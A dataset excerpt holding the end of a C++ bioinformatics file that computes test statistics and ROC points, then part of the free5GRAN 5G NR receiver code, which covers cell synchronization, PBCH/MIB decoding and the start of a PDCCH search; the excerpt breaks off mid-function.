rhs.true_positives;\n\tfalse_positives += rhs.false_positives;\n\ttrue_negatives += rhs.true_negatives;\n\tfalse_negatives += rhs.false_negatives;\n\n\treturn *this;\n}\n\n\n\nBinaryTestResults &\nBinaryTestResults::operator()(bool tested_positive, bool should_be_positive)\n{\n\tif (tested_positive)\n\t{\n\t\tif (should_be_positive)\n\t\t{\n\t\t\t++true_positives;\n\t\t}\n\t\telse\n\t\t{\n\t\t\t++false_positives;\n\t\t}\n\t}\n\telse\n\t{\n\t\tif (should_be_positive)\n\t\t{\n\t\t\t++false_negatives;\n\t\t}\n\t\telse\n\t\t{\n\t\t\t++true_negatives;\n\t\t}\n\t}\n\n\treturn *this;\n}\n\n\nROCPoint\nBinaryTestResults::get_roc_point() const\n{\n\treturn\n\t\tROCPoint(\n\t\t\tdouble( true_negatives ) / double( true_negatives + false_positives ),\n\t\t\tdouble( true_positives ) / double( true_positives + false_negatives ) );\n}\n\n\n\ndouble\nBiFaTestCase::calculate_next_threshold(\n\tBiFaTestCase::threshold_result_map_t::const_iterator begin,\n\tBiFaTestCase::threshold_result_map_t::const_iterator end,\n\tdouble min_threshold,\n\tdouble max_threshold)\n{\n\t//either we use the specificity or sensitivity to choose the next threshold\n\tstatic bool use_specificity = ! use_specificity;\n\n\t//check args\n\tif (min_threshold > max_threshold)\n\t{\n\t\tthrow std::invalid_argument( \"Min must be <= max threshold\" );\n\t}\n\n\t//if we have no results try the average\n\tif ( end == begin )\n\t{\n\t\treturn (min_threshold + max_threshold) / 2.0;\n\t}\n\n\t//look for the largest gap between successive iterators\n\tdouble largest_gap = 0.0;\n\tthreshold_result_map_t::const_iterator max_gap = end;\n\tfor (threshold_result_map_t::const_iterator left = begin;\n\t\tend != left;\n\t\t++left)\n\t{\n\t\tthreshold_result_map_t::const_iterator right = left;\n\t\t++right;\n\t\tif (end == right)\n\t\t{\n\t\t\tbreak;\n\t\t}\n\n\t\t//is there a bigger gap between these two than any two before?\n\t\tconst double left_value = use_specificity ? left->second.specificity : left->second.sensitivity;\n\t\tconst double right_value = use_specificity ? right->second.specificity : right->second.sensitivity;\n\t\tconst double gap = fabs( left_value - right_value );\n\t\tif ( gap > largest_gap )\n\t\t{\n\t\t\tlargest_gap = gap;\n\t\t\tmax_gap = left;\n\t\t}\n\t}\n\n\t//check the gaps between the ends of the sequence and the min/max thresholds\n\n\treturn (min_threshold + max_threshold) / 2.0;\n}\n\n\nBIO_NS_END\n", "meta": {"hexsha": "7b189ddfab269f6ca1d87aa62657a1a9bff45af5", "size": 7525, "ext": "cpp", "lang": "C++", "max_stars_repo_path": "C++/src/bio/lib/bifa_algorithm.cpp", "max_stars_repo_name": "JohnReid/biopsy", "max_stars_repo_head_hexsha": "1eeb714ba5b53f2ecf776d865d32e2078cbc0338", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "C++/src/bio/lib/bifa_algorithm.cpp", "max_issues_repo_name": "JohnReid/biopsy", "max_issues_repo_head_hexsha": "1eeb714ba5b53f2ecf776d865d32e2078cbc0338", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "C++/src/bio/lib/bifa_algorithm.cpp", "max_forks_repo_name": "JohnReid/biopsy", "max_forks_repo_head_hexsha": "1eeb714ba5b53f2ecf776d865d32e2078cbc0338", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 20.7872928177, "max_line_length": 146, "alphanum_fraction": 0.7138870432, "num_tokens": 2015, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5234203638047913, "lm_q2_score": 0.2538610013242243, "lm_q1q2_score": 0.13287601766897408}}
{"text": "/*\n * Copyright 2020-2021 Telecom Paris\n\n   Licensed under the Apache License, Version 2.0 (the \"License\");\n   you may not use this file except in compliance with the License.\n   You may obtain a copy of the License at\n\n       http://www.apache.org/licenses/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n */\n\n#include \"phy.h\"\n#include \"../../lib/phy/synchronization/synchronization.h\"\n#include \"../../lib/phy/libphy/libphy.h\"\n#include \"../../lib/variables/common_variables/common_variables.h\"\n#include \"../../lib/utils/sequence_generator/sequence_generator.h\"\n#include \"../../lib/phy/transport_channel/transport_channel.h\"\n#include <iostream>\n#include <vector>\n#include <fftw3.h>\n#include <fstream>\n#include <boost/log/core.hpp>\n#include <boost/log/trivial.hpp>\n#include <boost/log/expressions.hpp>\n#include <boost/log/utility/setup/file.hpp>\n#include <boost/log/utility/setup/common_attributes.hpp>\n#include \"../../lib/asn1c/nr_rrc/BCCH-DL-SCH-Message.h\"\n#include \"../../lib/variables/common_structures/common_structures.h\"\n#include \"../../lib/phy/physical_channel/physical_channel.h\"\n#include \"../../lib/utils/common_utils/common_utils.h\"\n#include \"../../lib/asn1c/nr_rrc/BCCH-DL-SCH-Message.h\"\n#include \"../../lib/asn1c/nr_rrc/FrequencyInfoUL-SIB.h\"\n\nusing namespace std;\n\nphy::phy(rf *rf_dev, double ssb_period, int fft_size, int scs, free5GRAN::band band_obj) {\n    /**\n     * \\fn phy\n     * \\param[in] rf_dev: RF device. (Only USRP B210 is currently supported)\n     * \\param[in] ssb_period: SSB periodicity. Default value is 0.02 (20 ms)\n     * \\param[in] fft_size: FFT/iFFT size. Represents the total number of os subcarriers to be decoded\n     * \\param[in] scs: Subcarrier spacing\n     * \\param[in] band_obj: Band object for getting Lmax value\n    */\n    this->rf_device = rf_dev;\n    this->ssb_period = ssb_period;\n    this->fft_size = fft_size;\n    this->scs = scs;\n    this->band_object = band_obj;\n    l_max = band_obj.l_max;\n    this->is_extended_cp = 0;\n    common_cp_length = 0;\n}\n\nint phy::cell_synchronization(float &received_power) {\n    /**\n     * \\fn cell_synchronization\n     * \\brief Perform time synchronization\n     * \\details\n     * - PSS cross-correlation to retrieve N_ID_2\n     * - SSS correlation to retrieve N_ID_1\n     * - PCI computation based on N_ID_1 and N_ID_2\n     *\n     * \\param[in] received_power: PSS received power. Used for power ramping.\n    */\n    BOOST_LOG_TRIVIAL(trace) << \"PSS synchronization\";\n\n    int n_id_2,synchronisation_index;\n    float peak_value;\n    received_power = 0;\n\n    size_t num_samples = 2 * ssb_period * rf_device->getSampleRate();\n\n    // Create buffer\n    vector<complex<float>> buff_2_ssb_periods(num_samples);\n    buff.clear();\n    buff.resize(num_samples / 2);\n\n    complex<float> j(0, 1);\n    // Get samples from RF layer and put them in buff variable\n    time_first_pss = chrono::high_resolution_clock::now();\n    try {\n        double time_first_sample;\n        rf_device->get_samples(&buff_2_ssb_periods, time_first_sample);\n    }catch (const exception& e) {\n        return 1;\n    }\n    int num_symbols_per_subframe_pbch = free5GRAN::NUMBER_SYMBOLS_PER_SLOT_NORMAL_CP * scs/15e3;\n    int cp_lengths_pbch[num_symbols_per_subframe_pbch];\n    int cum_sum_pbch[num_symbols_per_subframe_pbch];\n\n    free5GRAN::phy::signal_processing::compute_cp_lengths((int) scs/1e3, fft_size, 0, num_symbols_per_subframe_pbch, cp_lengths_pbch, cum_sum_pbch);\n    /*\n     * Take second symbol CP as common CP as SSB is never transmitted at long CP symbols (long CP are transmitted every 0.5ms)\n     */\n    common_cp_length = cp_lengths_pbch[1];\n    /*\n     * Extract first half of buffer (= 1 SSB period)\n     */\n    for (int i = 0; i < num_samples / 2; i ++){\n        buff[i] = buff_2_ssb_periods[i];\n    }\n\n    /*\n     * Get PSS correlation result\n     */\n    free5GRAN::phy::synchronization::search_pss(n_id_2,synchronisation_index,peak_value, common_cp_length, buff, fft_size);\n    BOOST_LOG_TRIVIAL(trace) << \"Peak value: \"+ to_string(peak_value/common_cp_length);\n    /*\n     * Computing symbol length and first sample index of PSS in buff\n     */\n    int symbol_duration = fft_size + common_cp_length;\n    int pss_start_index = synchronisation_index - symbol_duration + 1;\n    int sss_init_index = pss_start_index + 2 * symbol_duration + common_cp_length; // = (synchronisation_index - symbol_duration + 1) + 2 * symbol_duration;\n    /*\n     * If highest correlation peak is not fully in buffer, cell is not found\n     */\n    if (pss_start_index < 0){\n        return 1;\n    }\n\n    index_first_pss = pss_start_index;\n\n    vector<complex<float>> sss_signal(fft_size);\n    /*\n     * Extracting the SSS signal based on sss_init_index and cp_length\n     */\n    for (int i = 0; i < fft_size; i++){\n        sss_signal[i] = buff[i + sss_init_index];\n    }\n    /*\n     * Computing received power\n     */\n    for (int i = 0; i < 4 * symbol_duration; i ++){\n        received_power += pow(abs(buff[pss_start_index + i]),2);\n    }\n    received_power /= 4 * symbol_duration;\n    received_power = 10 * log10(received_power);\n    int n_id_1;\n    float peak_value_sss;\n\n    /*\n     * Get SSS correlation result\n     */\n    BOOST_LOG_TRIVIAL(trace) << \"SSS synchronization\";\n    free5GRAN::phy::synchronization::get_sss(n_id_1, peak_value_sss, sss_signal, fft_size, n_id_2);\n    BOOST_LOG_TRIVIAL(trace) << \"Peak value: \"+ to_string(peak_value_sss);\n    pci = 3 * n_id_1 + n_id_2;\n    BOOST_LOG_TRIVIAL(trace) << \"PCI : \"+ to_string(pci);\n\n\n    /*\n     * Retreive first SSB symbol of second SSB period\n     */\n    vector<complex<float>> second_pss(fft_size + common_cp_length), second_sss(fft_size);\n    int second_pss_index = pss_start_index + num_samples / 2;\n    int n_id_1_2, n_id_2_2, sync_index_pss_2;\n    float peak_value_pss_2;\n    for (int i = 0; i < fft_size + common_cp_length; i++){\n        second_pss[i] = buff_2_ssb_periods[i + second_pss_index];\n    }\n    /*\n     * Retrieve N ID 2 value from second SSB\n     */\n    free5GRAN::phy::synchronization::search_pss(n_id_2_2,sync_index_pss_2,peak_value_pss_2, common_cp_length, second_pss, fft_size);\n\n    /*\n     * Extract SSS symbol from second SSB\n     */\n    for (int i = 0; i < fft_size; i++){\n        second_sss[i] = buff_2_ssb_periods[i + second_pss_index + 2 * symbol_duration + common_cp_length];\n    }\n\n    free5GRAN::phy::synchronization::get_sss(n_id_1_2, peak_value_sss, second_sss, fft_size, n_id_2_2);\n\n    if (3 * n_id_1_2 + n_id_2_2 == pci){\n        return 0;\n    }else {\n        return 1;\n    }\n}\n\nint phy::extract_pbch() {\n    /**\n     * \\fn extract_pbch\n     * \\brief Time resynchronization, frequency synchronization, PBCH extraction and decoding.\n     * \\details\n     * - Getting 3ms signal from RF device\n     * - PSS cross-correlation to retrieve N_ID_2\n     * - SSS correlation to retrieve N_ID_1\n     * - PCI computation based on N_ID_1 and N_ID_2\n     * - Function ends if recomputed PCI differs from to initially computed one\n     * - Fine frequency synchronization by correlating cyclic prefixes and corresponding symbol part\n     * - Signal extraction and FFT\n     * - Resource element de-mapper\n     * - Channel estimation based on different values of i_ssb\n     * - Channel equalization based on best SNR value\n     * - PBCH decoding\n     * - BCH decoding\n     * - MIB parsing\n    */\n    BOOST_LOG_TRIVIAL(trace) << \"Extracting PBCH\";\n    // Get at least 30ms of signal (=3 frames, at least 2 complete ones)\n    size_t num_samples = max(0.03, ssb_period) * rf_device->getSampleRate();\n    //vector<complex<float>> buff(num_samples);\n    buff.clear();\n    buff.resize(num_samples);\n\n    // Getting samples\n    auto now = chrono::high_resolution_clock::now();\n    try {\n        double second_frame_time;\n        rf_device->get_samples(&buff, second_frame_time);\n    }catch (const exception& e) {\n        return 1;\n    }\n\n    /*\n     * SYNCHRONIZING IN THE NEW RECEIVED FRAME\n     * Computing approximate PSS index inside the received buffer using the time reference of the first PSS index SSB initial search\n     */\n    auto time_window = chrono::duration_cast<chrono::microseconds>(now - time_first_pss);\n    int offset_to_ssb_period = (int)(time_window.count() - index_first_pss / (128*scs *1e-6)) % ((int) (ssb_period * 1e6));\n    int index_second_pss = (ssb_period * 1e6 - offset_to_ssb_period) * rf_device->getSampleRate() * 1e-6;\n\n    ofstream data;\n    data.open(\"data.txt\");\n    for (int i = 0; i < num_samples; i ++){\n        data << buff[i];\n        data << \"\\n\";\n    }\n    data.close();\n\n    /*\n     * Compute PBCH CP length\n     */\n    int num_symbols_per_subframe_pbch = free5GRAN::NUMBER_SYMBOLS_PER_SLOT_NORMAL_CP * scs/15e3;\n    int cp_lengths_pbch[num_symbols_per_subframe_pbch];\n    int cum_sum_pbch[num_symbols_per_subframe_pbch];\n\n    free5GRAN::phy::signal_processing::compute_cp_lengths((int) scs/1e3, fft_size, 0, num_symbols_per_subframe_pbch, cp_lengths_pbch, cum_sum_pbch);\n    common_cp_length = cp_lengths_pbch[1];\n    int symbol_duration = fft_size + common_cp_length;\n\n    vector<complex<float>> pss_signal(48 * symbol_duration);\n\n    /*\n     * Isolate PSS signal around calculated new PSS occurence (based on timestamp of first synchronization step)\n     */\n    int begin_offset = 0;\n    int end_offset = 0;\n    if (pss_signal.size()/2 <= index_second_pss && pss_signal.size()/2  <= num_samples - index_second_pss){\n        begin_offset = pss_signal.size()/2;\n        end_offset = pss_signal.size()/2;\n    } else if (pss_signal.size()/2 > index_second_pss){\n        begin_offset = index_second_pss;\n        end_offset = pss_signal.size() - index_second_pss;\n    } else if (pss_signal.size()/2  > num_samples - index_second_pss) {\n        end_offset = num_samples - index_second_pss;\n        begin_offset = pss_signal.size() - (num_samples - index_second_pss);\n    }\n\n    // Extracting the signal around the PSS approximation\n    int count = 0;\n    for (int i = -begin_offset; i < end_offset; i ++){\n        pss_signal[count] = buff[(int) index_second_pss + i];\n        count ++;\n    }\n\n    int synchronisation_index;\n    float peak_value;\n\n    /*\n     * Downsample signal for better performance\n     */\n    int downsampling_factor = fft_size / free5GRAN::PSS_SSS_FFT_SIZE;\n    BOOST_LOG_TRIVIAL(trace) << \"PSS synchronization downsampling factor: \" << downsampling_factor;\n    int symbol_duration_downsampled = symbol_duration / downsampling_factor;\n\n    vector<complex<float>> pss_signal_downsampled(48 * symbol_duration_downsampled);\n    for (int i = 0; i < 48 * symbol_duration_downsampled; i ++){\n        pss_signal_downsampled[i] = pss_signal[(size_t) downsampling_factor * i];\n    }\n\n    free5GRAN::phy::synchronization::search_pss(this->n_id_2,synchronisation_index,peak_value, common_cp_length / downsampling_factor, pss_signal_downsampled,fft_size / downsampling_factor);\n\n    int pss_start_index = downsampling_factor * (synchronisation_index - symbol_duration_downsampled + 1);\n\n    /*\n     * Once synchronization is made on downsampled signal, it can be performed on full signal for finer results\n     */\n    vector<complex<float>> fine_pss_signal(symbol_duration + (2 * downsampling_factor + 1));\n    count = 0;\n    for (int i = pss_start_index - downsampling_factor; i < pss_start_index + symbol_duration + (downsampling_factor + 1); i ++){\n        fine_pss_signal[count] = pss_signal[i];\n        count ++;\n    }\n    free5GRAN::phy::synchronization::search_pss(this->n_id_2,synchronisation_index,peak_value, common_cp_length, fine_pss_signal,fft_size);\n\n    pss_start_index = pss_start_index + (synchronisation_index - symbol_duration + 1  - downsampling_factor);\n    int buffer_pss_index = pss_start_index + index_second_pss - begin_offset;\n    index_first_pss = buffer_pss_index;\n    int sss_init_index = buffer_pss_index + 2 * symbol_duration + common_cp_length;\n\n    vector<complex<float>> sss_signal(fft_size);\n    /*\n     * Extracting the SSS signal based on sss_init_index and common_cp_length\n     */\n    for (int i = 0; i < fft_size; i++){\n        sss_signal[i] = buff[i + sss_init_index];\n    }\n\n    float peak_value_sss;\n    /*\n     * Get SSS correlation result\n     */\n    free5GRAN::phy::synchronization::get_sss(this->n_id_1, peak_value_sss, sss_signal,fft_size,this->n_id_2);\n    if (pci == 3 * n_id_1 + n_id_2){\n        BOOST_LOG_TRIVIAL(trace) << \"PCI confirmed\";\n        cell_confirmed = true;\n    }else{\n        BOOST_LOG_TRIVIAL(trace) << \"PCI not confirmed\";\n        cell_confirmed = false;\n        return 1;\n    }\n    /*\n     * WE ARE NOW SYNCHONIZED IN OUR NEW FRAME\n     * Trying to extract DMRS AND PBCH\n     */\n\n    vector<complex<float>> ssb_signal(4 * symbol_duration);\n\n    // Extract SSB signal\n    for (int i = 0; i < free5GRAN::NUM_SYMBOLS_SSB * symbol_duration; i ++){\n        ssb_signal[i] = buff[i + buffer_pss_index];\n    }\n\n    /*\n     * Fine frequency correlation\n     * Getting phase offset between CP and corresponding part of the OFDM symbol for each of the 4 symbols.\n     * phase_offset is the mean phase offset\n     */\n    free5GRAN::phy::signal_processing::compute_fine_frequency_offset(ssb_signal, symbol_duration, fft_size, common_cp_length, scs, freq_offset, free5GRAN::NUM_SYMBOLS_SSB);\n\n    // Correcting signal based on frequency offset\n    free5GRAN::phy::signal_processing::transpose_signal(&buff, freq_offset, rf_device->getSampleRate(), buff.size());\n\n    vector<complex<float>> final_pbch_modulation_symbols(free5GRAN::SIZE_SSB_PBCH_SYMBOLS);\n\n    /*\n     * Extracting DMRS AND PBCH modulation symbols\n     * ref is the reference grid for resource element demapper\n     */\n    vector<complex<float>> temp_mod_symbols, temp_mod_symbols2,temp_mod_symbols_dmrs;\n\n    complex<float> pbch_symbols[free5GRAN::SIZE_SSB_PBCH_SYMBOLS];\n    complex<float> dmrs_symbols[free5GRAN::SIZE_SSB_DMRS_SYMBOLS];\n    complex<float> sss_symbols[free5GRAN::SIZE_PSS_SSS_SIGNAL];\n    /*\n     * ref[0] -> indexes of PBCH resource elements\n     * ref[1] -> indexes of DMRS resource elements\n     */\n    vector<vector<vector<int>>> ref(3, vector<vector<int>>(free5GRAN::SIZE_SSB_DMRS_SYMBOLS, vector<int>(free5GRAN::NUM_SC_SSB)));\n    /*\n     * channel_indexes[0] contains PBCH samples indexes\n     * channel_indexes[1] contains DMRS samples indexes\n     * channel_indexes[2] contains SSS samples indexes\n     */\n    vector<vector<vector<int>>> channel_indexes = {vector<vector<int>>(2, vector<int>(free5GRAN::SIZE_SSB_PBCH_SYMBOLS)), vector<vector<int>>(2, vector<int>(free5GRAN::SIZE_SSB_DMRS_SYMBOLS)), vector<vector<int>>(2, vector<int>(free5GRAN::SIZE_PSS_SSS_SIGNAL))};\n\n    vector<vector<complex<float>>> ssb_symbols(free5GRAN::NUM_SYMBOLS_SSB - 1, vector<complex<float>>(free5GRAN::NUM_SC_SSB));\n\n    int cum_sum_fft[free5GRAN::NUM_SYMBOLS_SSB];\n    for (int symbol = 0; symbol < free5GRAN::NUM_SYMBOLS_SSB; symbol ++){\n        cum_sum_fft[symbol] = symbol * symbol_duration;\n    }\n\n    /*\n     * Recover RE grid from time domain signal\n     */\n    free5GRAN::phy::signal_processing::fft(ssb_signal, ssb_symbols,fft_size,cp_lengths_pbch,&cum_sum_fft[0],free5GRAN::NUM_SYMBOLS_SSB - 1,free5GRAN::NUM_SC_SSB,1,0);\n\n    free5GRAN::phy::physical_channel::compute_pbch_indexes(ref, pci);\n    /*\n     * Channel demapping using computed ref grid\n     */\n    complex<float>* output_channels[] = {pbch_symbols, dmrs_symbols, sss_symbols};\n    free5GRAN::phy::signal_processing::channel_demapper(ssb_symbols, ref, output_channels, channel_indexes, 3, free5GRAN::NUM_SYMBOL_PBCH_SSB, free5GRAN::NUM_SC_SSB);\n\n    /*\n     * Channel estimation and equalization\n     * Creating coefficients arrays\n     */\n    vector<vector<vector<complex<float>>>> coefficients(free5GRAN::MAX_I_BAR_SSB, vector<vector<complex<float>>>(free5GRAN::NUM_SYMBOL_PBCH_SSB, vector<complex<float>>(free5GRAN::NUM_SC_SSB)));\n\n\n    complex<float> dmrs_sequence[free5GRAN::SIZE_SSB_DMRS_SYMBOLS];\n    float snr[free5GRAN::MAX_I_BAR_SSB];\n\n    /*\n     * For each possible iBarSSB value, estimate the corresponding transport_channel\n     */\n    for (int i = 0; i < free5GRAN::MAX_I_BAR_SSB; i ++){\n        free5GRAN::utils::sequence_generator::generate_pbch_dmrs_sequence(pci,i,dmrs_sequence);\n        free5GRAN::phy::signal_processing::channelEstimation(dmrs_symbols, dmrs_sequence, channel_indexes[1],coefficients[i], snr[i], free5GRAN::NUM_SC_SSB, free5GRAN::NUM_SYMBOL_PBCH_SSB , free5GRAN::SIZE_SSB_DMRS_SYMBOLS);\n    }\n    /*\n     * Choose the iBarSSB value that maximizes the SNR\n     */\n    max_snr = snr[0];\n    int i_b_ssb = 0;\n    for (int i = 1; i < free5GRAN::MAX_I_BAR_SSB ; i ++){\n        if (snr[i] > max_snr){\n            max_snr = snr[i];\n            i_b_ssb = i;\n        }\n    }\n\n    // Equalize transport_channel\n    for (int i = 0; i < free5GRAN::SIZE_SSB_PBCH_SYMBOLS; i ++){\n        final_pbch_modulation_symbols[i] = (pbch_symbols[i]) * conj(coefficients[i_b_ssb][channel_indexes[0][0][i]][channel_indexes[0][1][i]]) / (float) pow(abs(coefficients[i_b_ssb][channel_indexes[0][0][i]][channel_indexes[0][1][i]]),2);\n    }\n\n    ss_pwr.ss_rsrp = 0;\n    for (int i = 0; i < free5GRAN::SIZE_PSS_SSS_SIGNAL; i ++){\n        ss_pwr.ss_rsrp +=pow(abs(sss_symbols[i]),2);\n    }\n    for (int i = 0; i < free5GRAN::SIZE_SSB_DMRS_SYMBOLS; i ++){\n        ss_pwr.ss_rsrp +=pow(abs(dmrs_symbols[i]),2);\n    }\n    ss_pwr.ss_rsrp /= (free5GRAN::SIZE_PSS_SSS_SIGNAL + free5GRAN::SIZE_SSB_DMRS_SYMBOLS);\n\n    ss_pwr.ss_rssi = 0;\n    for (int symb = 0 ; symb < free5GRAN::NUM_SYMBOLS_SSB - 1; symb++){\n        for (int sc = 0; sc < free5GRAN::NUM_SC_SSB; sc ++){\n            ss_pwr.ss_rssi += pow(abs(ssb_symbols[symb][sc]),2);\n        }\n    }\n    // 20 is the number of RB in SSB block\n    int n_rb = 20;\n    ss_pwr.ss_rssi /= n_rb;\n    ss_pwr.ss_rsrq = 10 * log(n_rb * ss_pwr.ss_rsrp / ss_pwr.ss_rssi);\n    // Converting RSRP and RSSI from W to dBm\n    ss_pwr.ss_rsrp  = 10 * log10(ss_pwr.ss_rsrp) + 30;\n    ss_pwr.ss_rssi = 10 * log10(ss_pwr.ss_rssi) + 30;\n    ss_pwr.ss_sinr = max_snr;\n\n    this->i_b_ssb = i_b_ssb;\n    if (l_max == 4){\n        this-> i_ssb = i_b_ssb % 4;\n    }else {\n        this-> i_ssb = i_b_ssb;\n    }\n\n    /*\n     * Physical and transport channel decoding\n     * MIB parsing\n     */\n    int bch_bits[free5GRAN::SIZE_SSB_PBCH_SYMBOLS * 2];\n    free5GRAN::phy::physical_channel::decode_pbch(final_pbch_modulation_symbols, i_ssb, pci, bch_bits);\n    int mib_bits[free5GRAN::BCH_PAYLOAD_SIZE];\n    free5GRAN::phy::transport_channel::decode_bch(bch_bits, crc_validated, mib_bits, pci);\n    free5GRAN::utils::common_utils::parse_mib(mib_bits, mib_object);\n    return 0;\n}\n\nphy::phy() {\n\n}\n\nvoid phy::print_cell_info() {\n    /**\n     * \\fn print_cell_info\n     * \\brief Print cells global informations and MIB.\n    */\n    cout << \"\\n\";\n    cout << \"###### RADIO\" << endl;\n    cout << \"# SS-RSRP: \" + to_string(ss_pwr.ss_rsrp) + \" dbm\" << endl;\n    cout << \"# SS-RSSI: \" + to_string(ss_pwr.ss_rssi) + \" dbm\" << endl;\n    cout << \"# SS-RSRQ: \" + to_string(ss_pwr.ss_rsrq) + \" db\" << endl;\n    cout << \"# SS-SNR: \" + to_string(ss_pwr.ss_sinr) + \" db\" << endl;\n    cout << \"# Frequency offset: \" + to_string(freq_offset) + \" Hz\" << endl;\n    cout << \"\\n\";\n    cout << \"###### CELL\" << endl;\n    cout << \"## PCI: \" + to_string(pci) + ((cell_confirmed) ? \" (confirmed)\" :  \" (not confirmed)\") << endl;\n    cout << \"## CP: \";\n    cout << ((is_extended_cp == 0 ) ? \"Normal\" :  \"Extended\") << endl;\n    cout << \"## I_B_SSB: \" + to_string(i_b_ssb) << endl;\n    cout << \"## I_SSB: \" + to_string(i_ssb) << endl;\n    cout << \"\\n\";\n    cout << \"###### MIB\" << endl;\n    cout << \"## Frame number: \" + to_string(mib_object.sfn) << endl;\n    cout << \"## PDCCH configuration: \" + to_string(mib_object.pdcch_config) << endl;\n    cout << \"## Subcarrier spacing common: \" + to_string(mib_object.scs) << endl;\n    cout << \"## Cell barred: \" + to_string(mib_object.cell_barred) << endl;\n    cout << \"## DMRS type A position : \" + to_string(mib_object.dmrs_type_a_position) << endl;\n    cout << \"## k SSB: \" + to_string(mib_object.k_ssb) << endl;\n    cout << \"## Intra freq reselection: \" + to_string(mib_object.intra_freq_reselection) << endl;\n    cout << \"## CRC \";\n    cout << ((crc_validated) ? \"validated\" :  \"not validated\") << endl;\n    cout << \"\\n\";\n    cout << \"#######################################################################\" << endl;\n    cout << \"\\n\";\n}\n\nvoid phy::reconfigure(int fft_size) {\n    this->fft_size = fft_size;\n}\n\nvoid phy::search_pdcch(bool &dci_found) {\n    /**\n     * \\fn search_pdcch\n     * \\brief PDCCH config extraction, PDCCH blind search and DCI decoding\n     * \\standard TS 38.213 13\n     * \\details\n     * - Read PDCCH config from MIB\n     * - Detect frame beginning\n     * - Select frame containing PDCCH and PDSCH based of SFN\n     * - Frequency calibration to retrieve center on CORESET0\n     * - Compute CCE to REG mapping\n     * - Blind search DCI decoding over different candidates:\n     *  -# Select a candidate\n     *  -# Perform resource element de-mapping and FFT\n     *  -# Channel estimation & equalization\n     *  -# PDCCH decoding\n     *  -# DCI decoding\n     *  -# If CRC is validated, candidate is selected and function ends\n     *  -# Otherwise, function continues with another candidates\n     *\n     * \\param[out] dci_found: returns true if blind decode succeeds.\n    */\n\n    /*\n     * If SSB offset is greater than 23, PDCCH is not present in the current BWP\n     */\n    if(mib_object.k_ssb > 23){\n        dci_found = false;\n        return;\n    }\n    mu = log2(mib_object.scs/15);\n    int symbol_in_frame = band_object.ssb_symbols[this->i_ssb];\n    frame_size = 0.01 * rf_device->getSampleRate();\n    num_slots_per_frame = 10 * mib_object.scs/15;\n\n\n    /*\n     * Computing CP lengths of SSB/PBCH and recovering SSB position in frame\n     */\n    int num_symbols_per_subframe_pbch = free5GRAN::NUMBER_SYMBOLS_PER_SLOT_NORMAL_CP * (int) (scs/15e3);\n    int cp_lengths_pbch[num_symbols_per_subframe_pbch];\n    int cum_sum_pbch[num_symbols_per_subframe_pbch];\n\n    free5GRAN::phy::signal_processing::compute_cp_lengths((int) scs/1e3, fft_size, is_extended_cp, num_symbols_per_subframe_pbch, &cp_lengths_pbch[0], &cum_sum_pbch[0]);\n\n    int num_samples_before_pss = (symbol_in_frame / free5GRAN::NUMBER_SYMBOLS_PER_SLOT_NORMAL_CP) * (15e3/scs * frame_size / 10.0) + cum_sum_pbch[symbol_in_frame % free5GRAN::NUMBER_SYMBOLS_PER_SLOT_NORMAL_CP];\n    int num_samples_after_pss = frame_size - num_samples_before_pss;\n\n    /*\n     * Computing new FFT size, based on MIB common SCS\n     */\n    fft_size = (int) (rf_device->getSampleRate() / (1e3 * mib_object.scs));\n\n    BOOST_LOG_TRIVIAL(trace) << \"###### PDCCH Search & decode\";\n    BOOST_LOG_TRIVIAL(trace) << \"## INDEX_1: \" + to_string(mib_object.pdcch_config/16);\n    BOOST_LOG_TRIVIAL(trace) << \"## INDEX_2: \" + to_string(mib_object.pdcch_config%16);\n    BOOST_LOG_TRIVIAL(trace) << \"## SYMBOL IN FRAME: \" + to_string(symbol_in_frame);\n    BOOST_LOG_TRIVIAL(trace) << \"## FRAME SIZE: \" + to_string(frame_size);\n    BOOST_LOG_TRIVIAL(trace) << \"## INDEX PSS: \" + to_string(index_first_pss);\n    BOOST_LOG_TRIVIAL(trace) << \"## SLOTS PER FRAME: \" + to_string(num_slots_per_frame);\n    BOOST_LOG_TRIVIAL(trace) << \"## SAMPLES AFTER PSS: \" + to_string(num_samples_after_pss);\n    BOOST_LOG_TRIVIAL(trace) << \"## BUFFER SIZE: \" + to_string(buff.size());\n    BOOST_LOG_TRIVIAL(trace) << \"## FFT SIZE: \" + to_string(fft_size);\n\n    /*\n     * Getting two candidate frames in received signal.\n     * frame_indexes are the beginning and ending indexes of the two candidate frames\n     * frame_numbers stores SFN for each candidate frame\n     */\n    vector<vector<int>> frame_indexes(2, vector<int>(2));\n    int frame_numbers[2];\n    free5GRAN::phy::signal_processing::get_candidates_frames_indexes(frame_indexes,frame_numbers,mib_object.sfn, index_first_pss,num_samples_before_pss, frame_size);\n\n    BOOST_LOG_TRIVIAL(trace) << \"## FRAME 1 FROM: \" + to_string(1e3 * frame_indexes[0][0]/rf_device->getSampleRate()) + \" TO: \" + to_string(1e3 * frame_indexes[0][1]/rf_device->getSampleRate()) + \" ms\";\n    BOOST_LOG_TRIVIAL(trace) << \"## FRAME 2 FROM: \" + to_string(1e3 * frame_indexes[1][0]/rf_device->getSampleRate()) + \" TO: \" + to_string(1e3 * frame_indexes[1][1]/rf_device->getSampleRate()) + \" ms\";\n\n    /*\n     * Computing PDCCH Search Space information\n     */\n    pdcch_ss_mon_occ = free5GRAN::phy::signal_processing::compute_pdcch_t0_ss_monitoring_occasions(mib_object.pdcch_config, scs, mib_object.scs * 1e3, i_ssb);\n    pdcch_ss_mon_occ.n0 = (int)(pdcch_ss_mon_occ.O * pow(2, mu) + floor(i_ssb * pdcch_ss_mon_occ.M)) % num_slots_per_frame;\n    pdcch_ss_mon_occ.sfn_parity = (int)((pdcch_ss_mon_occ.O * pow(2, mu) + floor(i_ssb * pdcch_ss_mon_occ.M)) / num_slots_per_frame) % 2;\n\n    BOOST_LOG_TRIVIAL(trace) << \"## 